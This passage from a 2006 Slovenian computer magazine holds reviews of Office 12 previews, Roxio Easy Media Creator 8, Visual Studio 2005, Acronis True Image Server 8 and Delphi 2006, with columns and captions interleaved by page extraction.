filozofija, je malce odbijajoč, a že po nekaj klikih se načina navadimo in ugotovimo, da je pravzaprav čisto posrečen. Pri Microsoftu so o tem tako prepričani, da po njihovih besedah starega načina z meniji sploh ne bo več. zadnje čase to vlogo prepušča komunikacijskemu programu). Word je vsekakor osnovni poligon za testiranje vsega, kar pri Microsoftu obljubljajo, da bo imel nov paket. Poleg izboljšanih in živih predogledov je tu še kopica drugih zanimivosti. Ena od njih so vsekakor slogi. Ti so zdaj lahko tudi globalni. Kaj to pomeni? Pomeni to, da smo dobili dodatno funkcijo, ki je nekako podobna namiznim temam, ki jih poznamo iz operacijskega sistema Windows. V Wordu je namreč mogoče določiti preoblikovanje celotnega dokumenta tako, da recimo ustreza celostni podobi podjetja – dodajo se ustrezne glave, spremenijo pisave naslovov, podnaslovov, besedila, poenotijo se oblike tabel, seznamov in vsega mogočega. Tako lahko z enkratno izbiro preoblikujemo celoten do- NADGRADNJA ERGONOMIJE Prvi pogled na novi Office daje videz, da gre pravzaprav za veliko ergonomsko nadgradnjo tega, kar poznamo zdaj. Ta ergonomija naj bi pripomogla k večji storilnosti in enostavnejši uporabi. Lep primer so tako imenovani živi predogledi. Doslej je bil učinek spremembe pisave viden le prek prvih nekaj črk izbranega besedila – ko smo brskali po seznamu pisav, se je poleg njihovega Grafikoni v Excelu bodo lepši … Meniji in orodne vrstice so postali ukazni razdelki. imena prikazalo le nekaj začetnih črk besedila. S pomočjo živega predogleda se lahko zdaj premikamo po seznamu pisav in Word bo v ozadju sproti prikazoval spremenjeno celotno besedilo. Enako je pri oblikovanju tabel v Wordu in Excelu, grafikonov v Excelu, oblikovanju videza strani in še kje. SPREMEMBE V PROGRAMIH Kaj pa posamezne komponente? Sprememb je veliko, zato bomo našteli le najvidnejše. Osrednji del vsakega pisarniškega paketa je urejevalnik besedil (čeprav Ukazni razdelki se spreminjajo glede na zadano nalogo. moj mikro | 2 | februar | 2006 POD LUPO Roxio Easy Media Creator 8 kument, da recimo ustreza pravilom znotraj podjetja. Veliko delajo tudi na sistemu metapodatkov, ki so za skupinsko delo bistvenega pomena. Omogoča namreč samodejno izmenjavo metapodatkov med na primer strežnikom SharePoint in Wordom, sprememba metapodatkov pa povzroči tudi spremembe v dokumentu samem, če je tako določeno (če na primer v metapodatkih, torej lastnostih dokumenta, spremenimo ime avtorja, se to spremeni tudi v dokumentu, če je to v njem zapisano. Metapodatke, komentarje in podobno je mogoče tudi odstraniti, tako da je uporabnik lahko tudi anonimen, če tako hoče. Kaj pa Excel? Tudi ta je pridobil pri funkcionalnosti in uporabnosti. Veliko novosti se nanaša delo s tabelami z veliko količino podatkov. Posamezna tabela lahko ima zdaj kar milijon vrstic in 16.000 stolpcev, tako da se bo treba navaditi tudi na tričrkovne oznake stolpcev. Velike tabele pomenijo tudi zahtevnejše operacije. Novi Excel ponuja poenostavljen način izdelave vrtilnih tabel, poenostavljeno pogojno oblikovanje, poenostavljen vnos formul, kjer je mogoče uporabiti kar naslovne vrstice stolpcev, temeljito izboljšan sistem predogleda tiskanja in določanja območja tiskanja in še kaj. Podobno je tudi s PowerPointom in Accessom, ki sta bila deležna precejšnje prenove predvsem glede enostavnosti uporabe in nazornosti funkcij. Pravzaprav je na prvi pogled še najmanj sprememb deležen Outlook, kjer ukazni razdelki zaradi narave dela ne pridejo v poštev, tako da se večina novosti nanaša na povezave s programi SharePoint Services, OneNote in MS Project ter izboljšave koledarja, torej sodelovanje znotraj omrežja. A več o tem, ko bo izdelek bližje končni različici. Seveda bo Office 12 pred končno različico doživel še marsikatero spremembo, tako da novosti ne gre jemati kot nekaj dokončnega. Če se bo obdržala osnovna filozofija, ki stremi k enostavnosti, storilnosti in ergonomiji, potem se nam obeta zanimiv izdelek. Verjetno zanimivejši od marsikatere prejšnje nadgradnje.  Močan Nerov tekmec Roxio Easy Media Creator 8 je nov poskus, kako združiti čim več programov pod eno streho. Gre za komplet programov, ki jim je skupno delo s ploščami, tako CD kot DVD. Seveda je to definicijo treba vzeti v zelo širokem smislu, saj je vključena tudi izdelava varnostnih kopij. Pa vendar. Srčika programa je zapisovanje na plošče, podporo pa mu dajejo izdelava video CD- in DVD-plošč, urejevalnik filmov, organizator in urejevalnik slik ... Če povemo še drugače: gre za konkurenco zbirki Nero 7 Burning Suite, ki smo jo v Mojem mikru že predstavili. Piše : Jernej Pečjak jernej.pecjak@mojmikro.si O HITRO DO VŠEČNIH IZDELKOV Tudi sicer je ena glavnih značilnosti paketa ravno izdelava všečnih izdelkov z malo truda in časa. V ta namen je Roxio vključil tudi precej predlog, ki jih najdemo na drugem CD-ju škatelne različice. Orodje, iz katerega se je razvilo vse drugo, je program za peko plošč. Ta ni doživel revolucionarnih sprememb, razen tega, da lahko pečemo tudi iz vmesnika Home. Sicer so dodana srednji program, imenovan Roxio Creator Suite Home skrbi za povezavo vseh izdelkov pod eno streho. Preglednost je glede na vse vključene programe izjemna. Meni je sestavljen glede na namembnost v več delov: avdio, podatki, DVD in video, organizacija, foto, varnostne kopije in preslikovanje. Nekatere preproste reči se opravijo kar iz programa Home, denimo snemanje in kopiranje plošč ipd. Zahtevnejše aplikacije pa se odprejo po potrebi. Zraven posamezne možnosti je v vsakem oddelku v nekaj stavkih razloženo, kaj nam ponuja. Tudi sicer nimamo prenovljenemu Roxiu Home ničesar za očitati. Gre za enega preglednejših vmesnikov. Dodajmo k temu še čarovnike, s pomočjo katerih je delo v marsikaterem programu neprimerno lažje. Foto album lahko Glavna aplikacija, prek katere zaženemo druge programe, je Roxio tako izdelamo v pičlih Creator Suite 8 Home. Nekatera enostavna opravila, kot je hitra treh korakih. Poženepeka plošč, lahko opravimo neposredno iz nje. mo ga kot samostojen program ali pa iz urejevalnika videa (VideoWave) manjša dopolnila, denimo hkratno snemanje oz. DVD-programa (MyDVD). Vse pohvale za po- različnih projektov na več zapisovalnikov, sovezljivost aplikacij. časno snemanje in izgradnja datoteke s sliko (image file), kopiranje DVD-plošč na DVDDL-plošče brez kakovosti kvalitete ipd. GLASBA Kar zadeva področje glasbe, najdemo precej zanimivih možnosti. Denimo prevajanje kolekcije gramofonskih plošč v MP3- ali avdio CD-zapis z dodatno možnostjo iskanja naslovov skladb preko zbirke v internetu. Zbirke MP3-glasbe lahko pretvorimo v DVD-video zapis. Pri tem se vse skupaj kodira v stereo Dolby Digital. Glavna »zvočna« aplikacija je Sound Editor, ki je precej bolj »oskubljena« kot Nerova, saj ne vsebuje 8-kanalnega mešal- 73 POD LUPO Roxio Easy Media Creator 8 nika in naprednih zvočnih učinkov. Kljub temu gre za precej zmogljiv program. OBDELOVANJE SLIK nove sloge menijev in dobimo odličen izdelek. MyDVD Express pa je posebna različica programa, ki je namenjen hitremu delu. Izberemo predlogo in vnesemo video ter posnamemo filmsko DVD-ploščo. Poleg opisanih programov dobimo v paketu še možnost izdelave varnostnih kopij, program za izdelovanje ovitkov in druga koristna orodja, ki pa niso bila deležna večjih sprememb. PhotoSuite 8 je namenjen obdelovanju slik. Ni tako zmogljiv kot namenski programi, ima pa dovolj možnosti, poleg tega pa je vmesnik zelo podoben kot PLUSI IN MINUSI pri PhotoSuite Home. Na Roxio Easy Media Creator ima enake težave levi sta dve vrsti menijev. V kot vsi tovrstni programi. Začetnik se lahko v prvem najdemo najpogostejnjih zgubi ali pa dobi pol stvari, ki jih ne potreša, v drugem pa vsa orodja. buje. Kljub temu pa gre za paket z zelo ugodno Meniji seveda niso samoceno in kakovostnimi aplikacijami, ko bodo stojni, ampak se razčlenijo povprečnemu uporabniku več kot zadoščale. v posamezna orodja. Najbolj Največja konkurenca je Nero, ki lahko zapisupreseneča vključitev ravni je na plošče Blu-ray in v posebnem zapisu Nero (layers) v program. Vsako Digital, česar Easy Media Creator ne zna (zna besedilo, ki ga napišemo, se pa zapisovati v DivX-u, kar je v tem trenutku ustvari na svoji ravni, kar pomembneše). Nero vsebuje tudi aplikacijo omogoča kasnejše popravlja- VideoWave je nova aplikacija za nje. Razčlenitev na ravni se urejanje videa v paketu Roxio Easy ohrani tudi, ko sliko posna- Media Creator 8. Lahko dovolimo memo v zapisu PhotoSuite. čarovniku CineMagic, da sam izdela Paket ima še več orodij film iz vnesenega materiala, seveda pa za delo s slikami. Lahko lahko vse uredimo tudi sami. jih uvozimo iz digitalnega fotoaparata, ustvarimo foto albume, koledarje, ljivosti oz.HDV (žal vizitke, jih natisnemo na eni številnih predlog in brez možnosti izvoza). pošljemo po elektronski pošti. Media Manager je Začetniki si lahko odposeben program, s katerim organiziramo foto- dahnejo, saj je Roxio grafije in filme oz. ustvarimo albume. vključil čarovnika z imenom CineMagic, VIDEO ki nam iz fotografij Področje videa ima največ sprememb, kar je in video posnetkov posledica tega, da je Roxio kupilo podjetje So- sam izdela prehode nic, ki je znano po video izdelkih. VideoWave je in vse skupaj sestavi. nov program za urejanje videa in je precej upo- Rezultat lahko seve- MyDVD Express je nekakšna hitra in enostavna različica glavnega rabnejši kot Nerov izdelek. Omogoča namreč da korigiramo. Kljub programa (myDVD). Izberemo predlogo, spremenimo naslov, dve video stezi proti Nerovi eni, kar omogoči vsemu VideoWave ne vnesemo video posnetke in video DVD je izdelan. funkcije, kot so dodajanje vodnih žigov in slike more tekmovati z nav sliki. Poleg »pravih« stez pozna tudi interne, menskimi programi, kot je Premiere, saj manjka za gledanje televizije. Po drugi strani pa ima s katerimi izdelamo časovne trakove v časovnih pravi barvni korekcijski filter. Prav tako lahko Roxio precej boljšo podporo obdelavi video zatrakovih oz. tako imenovane navidezne odseke, vsakemu izseku dodamo le dve stezi. pisov in bolj medsebojno povezane aplikacije, kar pride prav pri bolj zapletenih scenah. Možkar je v takem kompletu še kako pomembno. nosti pisanja besedila so prav tako odlične, saj MOJI DVD-JI Posebnih težav s stabilnostjo v končni različici vključujejo 3D-možnosti. Učinki, s katerimi MyDVD je program za izdelavo video DVD- nismo zaznali, je pa paket precej pomnilniško prekrijemo video, so zanimivi, saj so tematski. plošč. Roxio je dodal projektni pogled, ki pri- požrešen, nekatere aplikacije, denimo VideoTo pomeni, da brez težav vključimo na primer kaže vse menije in vsebino v enem oknu, in Wave, pa se odzivajo precej počasi. balone v video posnetke z rojstnodnevnih za- tudi sicer je MyDVD popolnoma predelan, bav. Avtorji so vključili izvoz v DivX in podpo- saj namesto zapletenih ukazov naprej/nazaj ro širokemu zaslonu kot tudi videu visoke loč- uporablja časovne trakove. Dodajmo temu še  Roxio Easy Media Creator 8 Kaj: Večamenski paket za delo s ploščami, slikami, glasbo in videom. Za: Veliko različnih aplikacij, dobro povezanih v celoto, odličen video urejevalnik, pregledna osnovna aplikacija Home, hitra peka plošč. Proti: Počasnost nekaterih aplikacij, sistemsko požrešna aplikacija. Operacijski sistem: Windows 2000−XP Cena: 100 dolarjev škatelna ali internetna različica. Spletni naslov proizvajalca: www.roxio.com. 74 moj mikro | 2 | februar | 2006 POD LUPO Microsoft Visual Studio 2005 Standard Edition Novo ogrodje in fasada Microsoft na srečo svojih različic programskih izdelkov ne izdaja vsako leto. Tako se lahko programerji seznanijo z vsemi novostmi in svoje priljubljeno orodje dodobra izkoristijo v praksi. uporabljali beležnico. Različico Express si lahko prenesete z njihove spletne strani. ljete miško skozi kodno okno. Edit and continue (uredi in nadaljuj) je nova možnost interaktivnega iskanja napak. Odpravi potrebo po vnovičnem zagonu aplikacij, podpira pa tako krajevno kot tudi oddaljeno in večnitno iskanje. PRENOVLJENA OKNA IZDATNA PODPORA ZA SQL SERVER Največje spremembe vmesnika IDE so bila deležna sama okna, predvsem glede lege in lepljenja. Vsa okna zdaj omogočajo delo v prilepljenem, »jezičkastem«, letečem in skrivajočem se načinu. Okno za iskanje in zamenjavo Piše : Aleš Farkaš alesfarkas@yahoo.com Ž al pa pride čas, ko Microsoft zamenja (ali pripravlja zamenjavo) katerega od svojih »paradnih konjev«. Takrat je treba zamenjati in prevetriti tudi razvijalsko orodje in vključiti vse novosti, tako da bodo razvijalci pripravljeni prodati še tisto malo novotarij. Novi Visual Studio 2005 glede dodajanja novih programskih jezikov ne prinese nič novega. Že videno in vse uporabljeno, bi lahko rekli. Seveda je tako le na prvi pogled. Malce poglabljanja prinese boljše rezultate. V jedro .NET se ne bomo spuščali, saj je bilo o tem veliko napisano že med razvojem. Seveda so vključene vse drobnarije in novosti, ki jih prinese različica 2. Bolj pa si bomo pogledali, kaj sam paket kot celota ponuja razvijalcem. Že bežen prelet nam pove, da je novosti kar nekaj, saj za največji paket obstaja kar 19 strani izpisanih novosti. Za tiste, ki morda še ne veste: Visual Studio vsebuje popolno paleto razvijalskih orodij za izdelavo vseh vrst programskih rešitev (spletne aplikacije in storitve, mobilne aplikacije ali kar samo »navadne« aplikacije). Vsi programski jeziki, ki so vključeni (Basic, C++ C#, J#), uporabljajo isto integrirano razvojno ogrodje, ki omogoča izdelavo rešitev v različnih jezikih. Ogrodje ni za vse jezike enako, se prilagaja, a če obvladate en del, boste hitro domači tudi v drugem. RAZLIČICE Standardna različica se ne razlikuje veliko od profesionalne. Namenjena je razvijanju aplikacij tipa odjemalec−strežnik na ogrodju .NET. Prav tako ponuja vse za razvoj aplikacij, namenjenih dlančnikom in pametnim telefonom (ogrodje .Net Compact 2). Vendar je bolj za individualno uporabo kot resen razvoj v skupini. Ker standard ni zastonj, se je Microsoft odločil, da izda tudi različico Express, ki je brezplačna in namenjena vsem začetnikom, študentom in »vikend programerjem«. Verjetno pa tudi vsem, ki so doslej za razvijanje spletnih strani Microsoft ima tudi svoje podatkovno skladišče SQL Server. Ker je seveda hkrati z novim Studiem izšla tudi nova različica SQL Serverja, se Visual Studio krepko navezuje nanj. Tako zraven vsakega paketa dobite tudi »okrnjeno« različico SQL-a, ki naj bi rabila za osnovno podatkovno programiranje. Seveda so dodani tudi gonilniki za druge zbirke, vendar se boste za večino primerov morali potruditi kar sami. Visual Studio prinaša novo storitev za izdelavo SQL-poročil. Žal niso vključili tudi Crystal Reports. Drugače tukaj kaj večjega ni bilo spremenjeno. Itak komponente delujejo tako da kliknete, se povežete z zbirko in podatki so že tu. Vendar je v praksi to daleč od tega kar boste kot končni izdelek hoteli. PLUSI IN MINUSI je zamenjalo staro obliko in na novega treba se bo še privaditi. Urejevalnik kode je doživel pravcato malo revolucijo. IntelliSense je zdaj na voljo v katerem koli projektu in jeziku (tudi HTML in ASP). IDE lahko razširite z lastnimi makri. Vključiti pa se da tudi zunanje programe in še bolj avtomatizirati proces programiranja. Na voljo je malo morje bolj ali manj uporabnih gradnikov, tako za spletno kot za okensko programiranje. Našel sem tudi Refactor, to je proces izboljšanja vaše kode po tem, ko je bila napisana. Na voljo je precej možnosti uporabe. Na voljo so vam tudi uporaba naslovnega prostora My in druge možnosti, ki vam bodo olajšale življenje. ZA SPLETNE MOJSTRE Spletni razvijalci bodo veseli preprostega upravljanja in dosledne postavitve spletnega mesta na enem mestu. Vse to postori funkcija Master Pages. Tudi spletne strani naj bi se zdaj nalagale hitreje. To so storili z vnaprejšnjim prevajanjem spletnih aplikacij. Vedno se mi je zdelo, da interpreter (tolmač) ne more zamenjati nobenega prevajalnika. Sicer pa že samo ogrodje .NET poskrbi, da se aplikacije izvajajo hitreje. Programerji bodo veseli, da jim z novimi knjižnicami ne bo treba več toliko tipkati, saj je kar precej operacij oz. opravil pohitrenih. Nova zmožnost ClickOnce omogoča hitro objavljanje celotnih aplikacij na spletnih straneh ali kar na CD-ju. Pri razhroščevanju sta mi takoj padli v oči dve stvari. Prva je vsekakor nov način uporabljanja in urejanja prekinitev z uporabo akcij in zadetkov. Druga pa nekaj, kar sliši na ime Vizualizer in prikazuje relevantne informacije tipa, kje pe- V Visual Studio je vdelan tudi spletni strežnik tako da strežnika IIS ni več treba nameščati. Stvar je daleč od tega, da bi bila namenjena čemu drugemu kot testiranju. Žal pa standardni paket nima urejevalnika CVS. Verjetno ne bi bilo tako težko, da bi dodali še kakšno »ekspresno« različico orodja Visual SourceSafe. Ker ta različica ni namenjena večji skupini razvijalcev, se boste morali sprijazniti tudi s tem, da tu o kakšni povezi med razvijalci ni govora. Temu so žal namenjene večje in seveda precej dražje različice. Prav tako mi manjka, recimo, večja navezanost na Office. To pa bi skorajda moralo biti tudi v standardni različici. Ker se vse bolj uveljavljajo 64-bitne aplikacije oziroma jih industrija spodbuja, zna tudi Visual Studio »delati« in prilagajati kodo za te procesorje. Tako da lahko začnete pripravljati svoje projekte tudi za selitev na 64-bitno osnovo. Za konec lahko povemo, da je Microsoft bolj ali manj odpravil vse pomanjkljivosti prejšnje različice. Vpeljal je novosti, ki se neposredno navezujejo na uporabo novega ogrodja, in stvari pohitril. Skratka, konja, ki zmaguje, ne zamenjaš, dokler ga ne povozi čas. Prav tako Microsoft verjetno še kar nekaj časa ne bo spet korenito spremenil svojega orodja. In tako je tudi prav.  Microsoft Visual Studio 2005 Standard Edition Namenjen: Izdelavi programskih rešitev na osnovah Windows Za: Dobro in stabilno orodje z dodanimi novostmi Proti: Standardna različica je premalo zmogljiva, saj manjkajo nekateri pomembni elementi. Cena: 199 USD Spletni naslov proizvajalca: www.microsoft.com Posodil (prodaja): Microsoft, d.o.o. 75 POD LUPO Acronis True Image Server 8 Za miren spanec skrbnikov sistema Nočna mora vsakega sistemskega inženirja je seveda sesutje strežnika. Če gre za enega od domenskih, je problem lahko še večji. Arhiv seveda pomaga, toda ali je to rešitev za vse vaše težave? Piše : Aleš Farkaš ne kopije pred postopkom obnovitve podatkov kakor tudi po tem. Ne shranjujejo pa se datoteke, ki se ustvarijo pri prehodu v stanje mirovanja, in izmenjevalne datoteke. S tem seveda privarčujemo pri prostoru. Pri obnovitvi vam je na voljo tudi razširjanje in oženje obstoječe particije. Vendar v mejah, ki omogočajo, da se vsi deli sistema postavijo na svoje mesto. KlONIRANJE DISKOV Vsako kopijo je mogoče pripeti kot logični disk. Potem dobite na voljo možnost obnovitve posameznega dela sistema ali spet kar vseh datotek naenkrat. Kloniranje celotnih diskov seveda ne more izostati. Če vaša strojna oprema ostane količkaj enaka, lahko s preslikovanjem diskov ustvarite v nekaj urah tudi nekaj čisto enakih strežnikov, ki so takoj sposobni delovati. Pri tem imate možnost, da stare podatke, ki so recimo že zapisani na diskih, ohranite, ali pa se ti prepišejo v čisto sveže različice. Seveda zna program delati tudi z novo dodanimi diski. ales.farkas@mojmikro.si V erjetno ne. Najprej je treba zamenjati vse okvarjene dele, če ti obstajajo, potem ponovno namestiti celoten sistem, ga preveriti in čezenj na koncu spustiti še arhiv, da sistem sploh spravite v stanje, podobno prej delujočemu. Vendar ima lahko ta sistem še kopico pomanjkljivosti. Poleg tega porabite seveda še čas, pa tudi stres ni zanemarljiv dodatek k tovrstnemu delu. Seveda obstajajo rešitve s podvojenimi strežniki diskovnimi polji in podobno, a včasih finančne zmožnosti tega ne dovoljujejo. Zato pa obstaja drugačna rešitev. Še vedno ne poceni in ne brez vnaprejšnjega načrtovanja in priprav na tovrstni izpad sistema, pa vendar veliko hitrejša rešitev. SLIKAR VAŠEGA SISTEMA Programski izdelek, ki vam bo olajšal postavitev sistema v stanje, ko boste čezenj spustili samo še varnostno kopijo (v nekaterih primerih niti tega ne), izhaja iz nam dokaj nepoznanega podjetja Acronis. Izdali so program True Image, ki zdaj nosi že številko 8. Acronisovi izdelki so namenjeni prav temu, o čemer smo zgoraj razpravljali. Zmanjšanju vaših stroškov, sredstev in stresa s strežniki. True Image, kot že ime pove, izdela trenutno sliko vašega sistema. Slika sistema zajema vse, tako programski kot tudi sistemski del z zagonskimi in skritimi datotekami. Uporabniški vmesnik je precej preprost. Vse, kar potrebujete, imate na dosegu klika. Slike lahko pregledujete tako z oddaljene lokacije kot tudi iz strežnika. Bolj ali manj vse deluje prek čarovnikov, ki sproti nadzirajo vaše klike in vas obveščajo o možnostih in nezmožnostih nadaljnjih operacij. Če imate že narejeno kopijo diska, vam je omogočena izdelava samo dopolnjene različice podatkov. V eno sliko lahko shranite tudi več particij, seveda pa vam je omogočeno razbijanje na manjše dele. Vsako sliko je dobro zakleniti z geslom. True Image vam omogoča preverjanje vsake rezerv- 76 dnevniške datoteke. Sistem ima namreč precej dovršen pregledovalnik postopkov, ki so se izvršili, in prek tega lahko izveste marsikatero podrobnost. KORISTNI PRIPOMOČKI Acronis Secure Zone je posebna skrita particija za shranjevanje celotnih slik sistema. Namenjena je predvsem varnemu shranjevanju podatkov in vam je na voljo, dokler ne zmanjka prostora na disku. Strežnik pa ima lahko samo eno tako particijo in še ta mora biti narejena na osnovnem (Basic) disku. Particijo je mogoče potrebi razširiti ali skrčiti. Če pa zmanjkuje prostora na tem disku, bo Acronis pobrisal najstarejšo sliko in vse njene izpeljanke (dopolnjene dele). Zato bodite pozorni na to, kaj delate. Orodje Acronis Startup Recovery Manager vam omogoča, da program zaženete brez poprejšnjega nalaganja operacijskega sistema. To pride še kako prav, ko se sistem iz neznanih razlogov ne spravi k sebi. Vendar se ta možnost pri namestitvi ne aktivira. Za to morate poskrbeti ročno. Poleg tega morate za to aktivirati Security Zone. Prednost pred konkurenčnimi izdelki Acronisu dajejo tudi možnost shranjevanja slik neposredno na tračne enote oziroma še druge možnosti SCSI. Žal to ne deluje prek omrežja, temveč mora biti ta enota fizično nameščena v strežniku. Poleg tega so na voljo vse druge možnosti shranjevanja, tako na CD-je kot tudi na druge bolj ali manj uporabne medije za shranjevanje. Omogočena je tudi izdelava zagonskih CD-jev. ZA VSE STREŽNIKE WINDOWS Velika prednost True Imaga je, da zna narediti sliko ob tistem času, ki si ga želimo. Za to poskrbi sam sistem, vi mu morate samo dopovedati, seveda prek čarovnika, kaj in kdaj naj naredi. Po končanem opravilu vas glede na želene cilje lahko čaka v poštnem nabiralniku sporočilo o (ne)uspešno opravljeni operaciji. Če tega nočete, lahko dobite obvestilo neposredno na zaslon ali pa »ročno« pregledujete True Image zna narediti kopijo vseh še delujočih sistemov Windows (NT 4, 2000, 2003). Rezervne kopije v takšni ali drugačni obliki so bogastvo. Marsikdo, ki je ostal brez teh, se je precej opekel. Ne mislite, da se nesreča ne more pripetiti vam. Cena je res morda malce višja kot recimo pri nekaterih tekmecih, vendar zanjo dobite tudi več. V vsakem primeru je vredno dati nekaj denarja in potem mirno spati naprej. Včasih se minute nedelovanja merijo tudi v milijonih in prav tam vam bo dober sistem za hitro vzpostavitev prejšnjega stanja prišel še kako prav.  Acronis True Image Server 8 Namenjen: Izdelavi vseh vrst rezervnih kopij Za: Hitro arhiviranje, precej možnosti Proti: Za več strežnikov cena hitro naraste Cena: 172.000 SIT Spletni naslov proizvajalca: www.acronis.com Posodil (prodaja): FMC moj mikro | 2 | februar | 2006 POD LUPO Borland Developer Studio – Delphi 2006 Velikanova vrnitev Borland kljub manjšim težavam nadaljuje svoje poslanstvo in se na vse načine poskuša rešiti iz nastalih težav. Tudi tako, da izdaja nove pakete. Če ti prinašajo svežino, nove zmožnosti in izpolnjujejo vrzeli, ki so jih zapustili predhodniki, lahko to le pozdravimo. Piše : Aleš Farkaš ales.farkas@mojmikro.si B orland je končno predstavil vsa orodja za razvoj v okolju Windows pod eno streho. V paketu tako dobite Delphi 2006, C++ Builder 2006 in C# Builder ter seveda še kopico drugih vzporednih jezikov, ki pa niso ključni za samo zasnovo paketa. Od večjih jim zdaj manjka samo še JBuilder, vendar dvomim, da bo ta kdaj vključen. Mimogrede naj omenim, da je C++ vključen šele kot predogledna različica, ki bo na voljo, ko bo končana v celoti ter seveda brezplačno za kupce paketa BDS. STARO TUDI V NOVEM Organizacije seveda programirajo različne projekte v različnih programskih jezikih. Ker pa se pojavlja potreba tudi po ponovni uporabi že obstoječih (po možnosti tudi v različnih jezikih), je Borland dodal v svoje okolje možnost, da se stari programi upravljajo tudi iz novega okolja. Najlepše pri tem je, da ni nujno, da so ti pisani v istem programskem jeziku. Če pogledamo nazoren zgled, bi bila lahko stvar videti takole: Spletni obrazec spišete v okolju ASP. NET, poslovno logiko v C# okolju in seveda podatkovni del v Pascalu. Vse skupaj spremljate, urejate in nadzirate prek Projektnega upravljavca. No, sam zagon urejevalnika IDE utegne biti tudi precej počasen (zaradi kopice različnih programskih modulov) in pomnilniško potraten, zato so vam že vnaprej pripravili, da se naložijo samo tisti deli, ki jih trenutno potrebujete. Vse skupaj pa si lahko še prilagodite po svojih trenutnih potrebah. PRENOVLJEN UREJEVALNIK IDE IDE ima kup novosti. Nekaj od tega imajo konkurenti že lep čas, nekaj pa je povsem novih. Samodejno zaključevanje programskega bloka je omogočeno že od nekdaj, a bila stvar izvedena precej površno. Ko zdaj napišete Begin, se samodejno doda tudi End. Poleg tega se pripravijo prazne vrstice in pri stavku begin doda plus, ki omogoča skrivanje posameznega sklopa stavkov. Tudi prikazovalnik sprememb zna priti še kako prav. Ta ponazarja (barvno seveda), katere dele ste shranili in kateri so spisani na novo. Meni najljubše pa so predloge. Te so pravzaprav že pripravljeni vzorci celotnih programskih sklopov. Spisani so v makro jeziku in se shranjujejo v obliki XML. Seveda se jih da preprosto urejati in kopirati. Pravo moč pa dobite, ko si jih pripravite in vam potem neznansko pohitrijo pisanje ponavljajočih se na v novo celico, ki je na voljo. Potem pa so tukaj še možnosti TCustomTransprentControl, TMargin, TPaddings ki vam bodo olajšale delo in odpravile nekatere pomanjkljivosti prejšnjih. Dobra stvar je tudi Form Positioner, ki omogoča natančno postavitev komponent, poleg tega pa lahko v pomanjšanem oknu vidite, kako je to videti v praksi. Refactorings je bil predstavljen že v prejšnji različici, a kot se spodobi, vsaka nova različica prinese precej sprememb. Dodanih je nekaj sprememb pri predstavitvi spremenljivk in polj, varno brisanje in sprememba parametrov. Nič revolucionarnega, toda to so za programerja še kako pomembne spremembe. ROBUSTNEJŠA IN HITREJŠA PREVEDENA KODA  Koda, prevedena z Delphijem 2006, je precej robustnejša in do 40 % hitrejša kot tista, spisana v Delphiju 7. Izboljšane so tudi rutine RTL, ki prav tako dajo hitrejše in boljše rezultate. Prav tako je izboljšan integrirani razhroščevalnik, precej stvari pa se vleče preko izboljšanega pomnilniškega pregledovalnika, kjer so popravili precej stvari in s tem omogočili hitrejše in izboljšano delovanje. Razhroščevalnik končno prikaže podatkovno strukturo v drevesni obliki in vam bo omogočil pregled lokalnih spremenljivk na vsakem nivoju . Tudi namigi se hitreje prikažejo. Prav tako vam je omogočeno premikanje kazalcev naprej ali nazaj. Borland je končno predstavil vsa orodja za razvoj v okolju Windows pod eno streho. stavkov. Nekaj podobnega za pohitritev pisanja osnovnih vzorcev ponuja tudi Surround, ki okrog označene kode naredi želeni blok stavkov. Dodana je tudi možnost samodejnih spremenljivk. Tudi preklopi med pisanjem kode in urejanjem vmesnika so precej pohitreni. Popravljene so tudi napake iz prve pomoči in ta zdaj spet normalno deluje. Tudi delovno okolje v primerjavi s prejšnjo različico deluje stabilno. NOVE KOMPONENTE VCL Dodali so tudi nekaj novih komponent VCL. TTrayIcon verjetno vsi poznate. Ta ima dogodek miškin klik ter med lastnostmi možnost za animirane ikone in menije. Prav tako ne zmanjka namigov v obliki balonov. TFlowPanel v primerjavi s tradicionalnim panelom omogoča postavljanje samo v določen del. TGridPanel je v mrežnem pladnju, kjer lahko določite največju količino vrstic in stolpcev v panelu. Vsaka nova komponenta je postavlje- PODPORA PODATKOVNIM SKLADIŠČEM Seveda ne moremo mimo povezav s podatkovnimi skladišči. Borland je prinesel s sabo vse pomembnejše gonilnike za večja podatkovna skladišča. Vključeni so v celoti Oracle 10g, Interbase 7.5 in 7.5.1., Microsoft SQL Server 2005, IBM DB2 8.x, MySQL 4.0.24 in Sybase 12.5. Delno samo za BDE (ADO. Net), MSDE 2000 in SQL Server 2000, samo za dbExpress (Win32) pa Informix 9 in SQL Anywhere 9. DbExpress je zdaj v popolnosti integriran pregledovalnik skladišč, kar vam omogoči neposreden vpogled v skladišče in tudi podatke. V urejevalnik je vdelana tudi hitra povezava, ki izrablja že obstoječe. To je uporabno predvsem pri programih, pisanih za okolje .NET. Brez UML-ja več ne gre. Delphi po novem podpira tako različico 1.5 kot tudi 2.0, in obe sta v popolnosti vključeni v razvojno ogrodje. Morda tega ne cenijo toliko samo razvijalci kot tisti, ki načrtujejo razvoj, in tisti, ki morajo 77 POD LUPO Borland Developer Studio – Delphi 2006 vzdrževati razvoj aplikacije skozi celoten življenjski cikel. S tehnologijo LiveSource lahko kodo pregledujete v obliki diagramov, lahko pa jo tudi ustvarite s spreminjanem diagramov oziroma načrtovanjem. Podprtih je veliko različnih diagramov, ki bi morali zadovoljiti vse. Prav tako je delo z njimi nadvse enostavno. Ima kopico možnosti, med drugim uvoz in izvoz v XML ter samodejno ustvarjanje dokumentacije. Dodan je Intraweb v8.0, s katerim lahko razvijate posamezne strani ali kar celotne aplikacije, namenjene spletnemu prikazu. Precej novosti je tudi glede skupinskega dela in modula ECO. ZA POSAMEZNIKE IN ORGANIZACIJE Kot smo že vajeni, je profesionalna različica namenjena posameznim razvijalcem in malim organizacijam, ki gradijo namizne aplikacije in spletne aplikacije, zasnovane na lokalnih podatkovnih skladiščih. Za kaj večjega boste že potrebovali različico Entreprise, kjer boste imeli na voljo s celotno paleto orodij in gradili boste lahko poslovno kritične aplikacije zasnovane na visoko učinkovitih podatkovnih skladiščih. Različica Architect pa doda še nekaj sladkorčkov, kot je ECO 3. Pri Borlandu ni nikoli nič preprosto. Dolga leta smo si želeli dobiti vsa njihova razvojna orodja v enem paketu (podobno kot ima konkurenca). Ko to končno naredijo, pa nas zmedejo z imeni paketov. Novinec se bo le stežka strinjal, da je kupil celoten paket, če pa vsepovsod na veliko piše Delphi 2006 (part of BDS). Kaže, da je Delphi vseeno še paradni in obenem tudi vlečni konj, še zadnjega velikana v programerski industriji. Upajmo, da se bo Borland pobral kot že nič kolikokrat doslej, in da ne bomo prisiljeni delati v kakšnem drugem programskem okolju. 